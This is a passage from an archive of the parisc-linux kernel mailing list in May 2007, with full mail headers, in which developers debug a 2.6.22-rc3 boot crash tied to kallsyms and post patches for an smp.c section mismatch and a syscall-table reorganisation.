	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K8NqcldHX1Vpz+uYY2Fy8Wx3SDc4NIwj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24593

On Sunday 27 May 2007, Helge Deller wrote:
> > Hmm, is spinlock debugging enabled? Does it make a difference if you
> > turn that off?
> 
> Yes, they were enabled, but turning them off gave the same problem:
> 
> Waiting for /dev to be fully populated...
> Backtrace:
>  [<101124fc>] unwind_frame_regs+0x48/0x220
>  [<10112808>] unwind_once+0x10/0x48
>  [<10111b34>] get_wchan+0x2c/0x68
>  [<101aed2c>] do_task_stat+0x244/0x4f8
>  [<101aacb8>] proc_info_read+0x88/0x108
>  [<10173d70>] vfs_read+0x8c/0x138
>  [<101740cc>] sys_read+0x5c/0xa4
>  [<1010c080>] syscall_exit+0x0/0x28

The trivial hack below fixed the crash....

root@c3000:~# uname -a
Linux c3000 2.6.22-rc3 #39 Sun May 27 22:53:32 CEST 2007 parisc GNU/Linux

Helge

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0dd3847..f9f2b39 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -385,6 +385,8 @@ get_wchan(struct task_struct *p)
         * These bracket the sleeping functions..
         */

+return 0; /* XXX */
+
        unwind_frame_init_from_blocked_task(&info, p);
        do {
                if (unwind_once(&info) < 0)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 17:11:43 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20070527211143.GG28455__15890.9311205663$1416624374$gmane$org@fattire.cabal.ca>
References: <200705271438.57394.deller@gmx.de> <20070527201829.GF28455@fattire.cabal.ca> <200705272241.46503.deller@gmx.de> <200705272258.44572.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624374 24055 80.91.229.3 (22 Nov 2014 02:46:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 21:11:46 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx005) with SMTP; 27 May 2007 23:11:46 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 624CB58408E;
	Sun, 27 May 2007 17:11:44 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id E0B5F58408C;
	Sun, 27 May 2007 17:11:43 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 92335837DB; Sun, 27 May 2007 17:11:43 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705272258.44572.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KsZgcwRDeWU7l7eUfHVztis5U3U4N08g
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24594

On Sun, May 27, 2007 at 10:58:44PM +0200, Helge Deller wrote:
> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> index 0dd3847..f9f2b39 100644
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -385,6 +385,8 @@ get_wchan(struct task_struct *p)
>          * These bracket the sleeping functions..
>          */
> 
> +return 0; /* XXX */
> +


Try without CONFIG_KALLSYMS, I think somehow Alexey's patch to simply
kallsyms may have broken things for us.

ffb45122766db220d0bf3d01848d575fbbcb6430 is the commit id.

Cheers,
	Kyle



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 23:56:36 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <7d01f9f00705271456i676bcee3j7296bda036e017d0__45750.5624312491$1416624374$gmane$org@mail.gmail.com>
References: <200705271438.57394.deller@gmx.de>
	 <20070527201829.GF28455@fattire.cabal.ca>
	 <200705272241.46503.deller@gmx.de> <200705272258.44572.deller@gmx.de>
	 <20070527211143.GG28455@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624374 24059 80.91.229.3 (22 Nov 2014 02:46:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:14 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <varenet@gmail.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 21:56:36 -0000
Original-Received: from an-out-0708.google.com (EHLO an-out-0708.google.com) [209.85.132.248]
  by mx0.gmx.net (mx028) with SMTP; 27 May 2007 23:56:36 +0200
Original-Received: by an-out-0708.google.com with SMTP id b8so437500ana
        for <deller@gmx.de>; Sun, 27 May 2007 14:56:36 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed;
        d=gmail.com; s=beta;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=U6fQDZaFLhHfA97isBlNxMcJcHJhcd5hM0ZLQw0J/3Uim3guM84UlesBRqsxhdWvrWDs1LUCKQ5un0Z+0+d+v75jWNM3JB3DXkcD5Qv2l3j+t1ww0gIObYIq/gbNNnEQHA8A6A3YFCxq6M19dq0ZfG/p1zk2Okcu7X0DOKM08f0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=beta;
        h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=qv5Lm8knPAgY8LiQqFwD8yxy85X0AhbN7EpNIV1bVs9J8jea2KeCvIZzsURldNpOrVcO3Xixpj0YroZfj1KTtNrQHzCCPybxi4Ktx+uvKZDj0bKPR5MOLvbxERij9WrPnqU4pTrfiFvih3S9Dv39OS3jI1MmO1O6wwSFb9zJ16o=
Original-Received: by 10.100.14.19 with SMTP id 19mr4172880ann.1180302996317;
        Sun, 27 May 2007 14:56:36 -0700 (PDT)
Original-Received: by 10.100.44.10 with HTTP; Sun, 27 May 2007 14:56:36 -0700 (PDT)
Original-Sender: varenet@gmail.com
In-Reply-To: <20070527211143.GG28455@fattire.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: c777aaba1a67a328
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rsxqcldHX1Vpz+uYY2Fyebx3SDc4NExk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24595

On 5/27/07, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sun, May 27, 2007 at 10:58:44PM +0200, Helge Deller wrote:
> > diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> > index 0dd3847..f9f2b39 100644
> > --- a/arch/parisc/kernel/process.c
> > +++ b/arch/parisc/kernel/process.c
> > @@ -385,6 +385,8 @@ get_wchan(struct task_struct *p)
> >          * These bracket the sleeping functions..
> >          */
> >
> > +return 0; /* XXX */
> > +
>
>
> Try without CONFIG_KALLSYMS, I think somehow Alexey's patch to simply
> kallsyms may have broken things for us.

Building with CONFIG_KALLSYMS disabled gives a bootable kernel.

> ffb45122766db220d0bf3d01848d575fbbcb6430 is the commit id.

Digging that out

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 16:23:47 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20070527222347.GA711__9288.49297711185$1416624375$gmane$org@colo.lackof.org>
References: <200705271438.57394.deller@gmx.de> <20070527201829.GF28455@fattire.cabal.ca> <200705272241.46503.deller@gmx.de> <200705272258.44572.deller@gmx.de> <20070527211143.GG28455@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624375 24061 80.91.229.3 (22 Nov 2014 02:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:15 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 22:23:56 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx101) with SMTP; 28 May 2007 00:23:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2D5CC3382E5;
	Sun, 27 May 2007 16:23:54 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15465-04; Sun, 27 May 2007 16:23:47 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D43303382E4; Sun, 27 May 2007 16:23:47 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070527211143.GG28455@fattire.cabal.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nGgxLnVbTlIvl7eQeGhrDspGU2poZZmw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24596

On Sun, May 27, 2007 at 05:11:43PM -0400, Kyle McMartin wrote:
> On Sun, May 27, 2007 at 10:58:44PM +0200, Helge Deller wrote:
> > diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> > index 0dd3847..f9f2b39 100644
> > --- a/arch/parisc/kernel/process.c
> > +++ b/arch/parisc/kernel/process.c
> > @@ -385,6 +385,8 @@ get_wchan(struct task_struct *p)
> >          * These bracket the sleeping functions..
> >          */
> > 
> > +return 0; /* XXX */
> > +
> 
> 
> Try without CONFIG_KALLSYMS, I think somehow Alexey's patch to simply
> kallsyms may have broken things for us.
> 
> ffb45122766db220d0bf3d01848d575fbbcb6430 is the commit id.

I don't see anything wrong with this patch.
It all looks pretty obvious to me.

I'm more inclined to believe something else changed in kallsyms_lookup()
code path.

thanks,
grant

> 
> Cheers,
> 	Kyle
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [PARISC] fix section mismatch in smp.c
Date: Mon, 28 May 2007 00:26:02 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <200705280026.03015.deller__8616.90736278451$1416624375$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624375 24067 80.91.229.3 (22 Nov 2014 02:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 22:26:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 28 May 2007 00:26:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 342407DEA6;
	Sun, 27 May 2007 16:26:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18790-03; Sun, 27 May 2007 16:26:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9C717DE99;
	Sun, 27 May 2007 16:26:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1659D7DE9C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 16:26:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18488-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 16:26:06 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id CA9247DE99
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 16:26:05 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 22:26:04 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp032) with SMTP; 28 May 2007 00:26:04 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sD1sD3RJQEVsxejDZnVp4+pKNzg2NQLn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24597

[PARISC] fix section mismatch for smp_boot_one_cpu:
WARNING: arch/parisc/kernel/built-in.o(.text.__cpu_up+0x20): Section mismatch: reference to .init.text:smp_boot_one_cpu (after '__cpu_up')

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 4bf7cd1..04c7e1d 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -461,7 +461,7 @@ void __init smp_callin(void)
 /*
  * Bring one cpu online.
  */
-int __init smp_boot_one_cpu(int cpuid)
+int __cpuinit smp_boot_one_cpu(int cpuid)
 {
 	struct task_struct *idle;
 	long timeout;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] [PATCH] reorganize syscall table
Date: Mon, 28 May 2007 16:52:10 +0200
Lines: 1486
Approved: news@gmane.org
Message-ID: <200705281652.11079.deller__19667.2594560825$1416624375$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624375 24072 80.91.229.3 (22 Nov 2014 02:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 May 2007 14:52:47 -0000
Original-Received: from unknown (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 28 May 2007 16:52:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB4B17DE4C;
	Mon, 28 May 2007 08:52:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30963-07; Mon, 28 May 2007 08:52:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88EBD7DE52;
	Mon, 28 May 2007 08:52:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C59737DE3D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 08:52:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31087-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 08:52:31 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C2D467DE3C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 May 2007 08:52:29 -0600 (MDT)
Original-Received: (qmail invoked by alias); 28 May 2007 14:52:27 -0000
Original-Received: from mnhm-590c0057.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.0.87]
	by mail.gmx.net (mp029) with SMTP; 28 May 2007 16:52:27 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV, !nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R; Pg"NS9JD=DK!ft&4b@S~&q/MfI3; qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9d5jfiE/YW0+k7uGbmZpcct0amthc1uV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24598

Hi all,

this patch is modelled after the include/asm-x86_64/unistd.h file.
Basically, the idea is that the compiler can itself find the number of available Linux system calls.
Additionally, this change allows one to modify syscall number and respective function called at the same place.
Third, this change may enable me to further enhance the compile/runtime checking for invalid syscalls and to replace generating the syscall table in C instead of assembly with patches which would follow.

I've tried to do the modifications very carefully (e.g. avoid copy&past, instead use search/replace), and the kernel boots for me into a shell without problems.

Question: What do you think ? Is the patch generally OK ?

Helge

diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index d3b7917..c92eee6 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -52,6 +52,19 @@
 
 #define align(x,y) (((x)+FRAME_SIZE+(y)-1) - (((x)+(y)-1)%(y)))
 
+/* calculate __NR_Linux_syscalls */
+#define __NO_STUBS 1
+#undef __SYSCALL_SAME
+#undef _ASM_PARISC_UNISTD_H_
+#define __SYSCALL_SAME(nr,sym) [nr] = 1,
+#define __SYSCALL_DIFF(nr,sym) [nr] = 1,
+#define __SYSCALL_UHOH(nr,sym) [nr] = 1,
+#define __SYSCALL_OURS(nr,sym) [nr] = 1,
+#define __SYSCALL_COMP(nr,sym) [nr] = 1,
+static char syscalls[] = {
+#include <asm/unistd.h>
+};
+
 int main(void)
 {
 	DEFINE(TASK_THREAD_INFO, offsetof(struct task_struct, stack));
@@ -294,6 +307,8 @@ int main(void)
 	DEFINE(ASM_PAGE_SIZE_DIV64, PAGE_SIZE/64);
 	DEFINE(ASM_PAGE_SIZE_DIV128, PAGE_SIZE/128);
 	BLANK();
+	DEFINE(__NR_Linux_syscalls, sizeof(syscalls)-1);
+	BLANK();
 	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
 	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
 	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 4603032..8b0559c 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -198,7 +198,7 @@ linux_gateway_entry:
 	ldil	L%sys_call_table, %r1
 	ldo     R%sys_call_table(%r1), %r19
 #endif	
-	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
+	comiclr,>> __NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 	
 	LDREGX  %r20(%r19), %r19
@@ -309,7 +309,7 @@ tracesys_next:	
 	ldo	-16(%r30),%r29			/* Reference param save area */
 #endif
 
-	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
+	comiclr,>> __NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 
 	LDREGX  %r20(%r19), %r19
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 627f3c2..c3b58f4 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -31,385 +31,37 @@
  */
 
 #if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
-/* Use ENTRY_SAME for 32-bit syscalls which are the same on wide and
- * narrow palinux.  Use ENTRY_DIFF for those where a 32-bit specific
- * implementation is required on wide palinux.  Use ENTRY_COMP where
+/* Use __SYSCALL_SAME for 32-bit syscalls which are the same on wide and
+ * narrow palinux.  Use __SYSCALL_DIFF for those where a 32-bit specific
+ * implementation is required on wide palinux.  Use __SYSCALL_COMP where
  * the compatability layer has a useful 32-bit implementation.
  */
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys32_##_name_
-#define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
-#define ENTRY_OURS(_name_) .dword parisc_##_name_
-#define ENTRY_COMP(_name_) .dword compat_sys_##_name_
+#define __SYSCALL_SAME(nr,_name_) .dword sys_##_name_
+#define __SYSCALL_DIFF(nr,_name_) .dword sys32_##_name_
+#define __SYSCALL_UHOH(nr,_name_) .dword sys32_##unimplemented
+#define __SYSCALL_OURS(nr,_name_) .dword parisc_##_name_
+#define __SYSCALL_COMP(nr,_name_) .dword compat_sys_##_name_
 #elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys_##_name_
-#define ENTRY_UHOH(_name_) .dword sys_##_name_
-#define ENTRY_OURS(_name_) .dword sys_##_name_
-#define ENTRY_COMP(_name_) .dword sys_##_name_
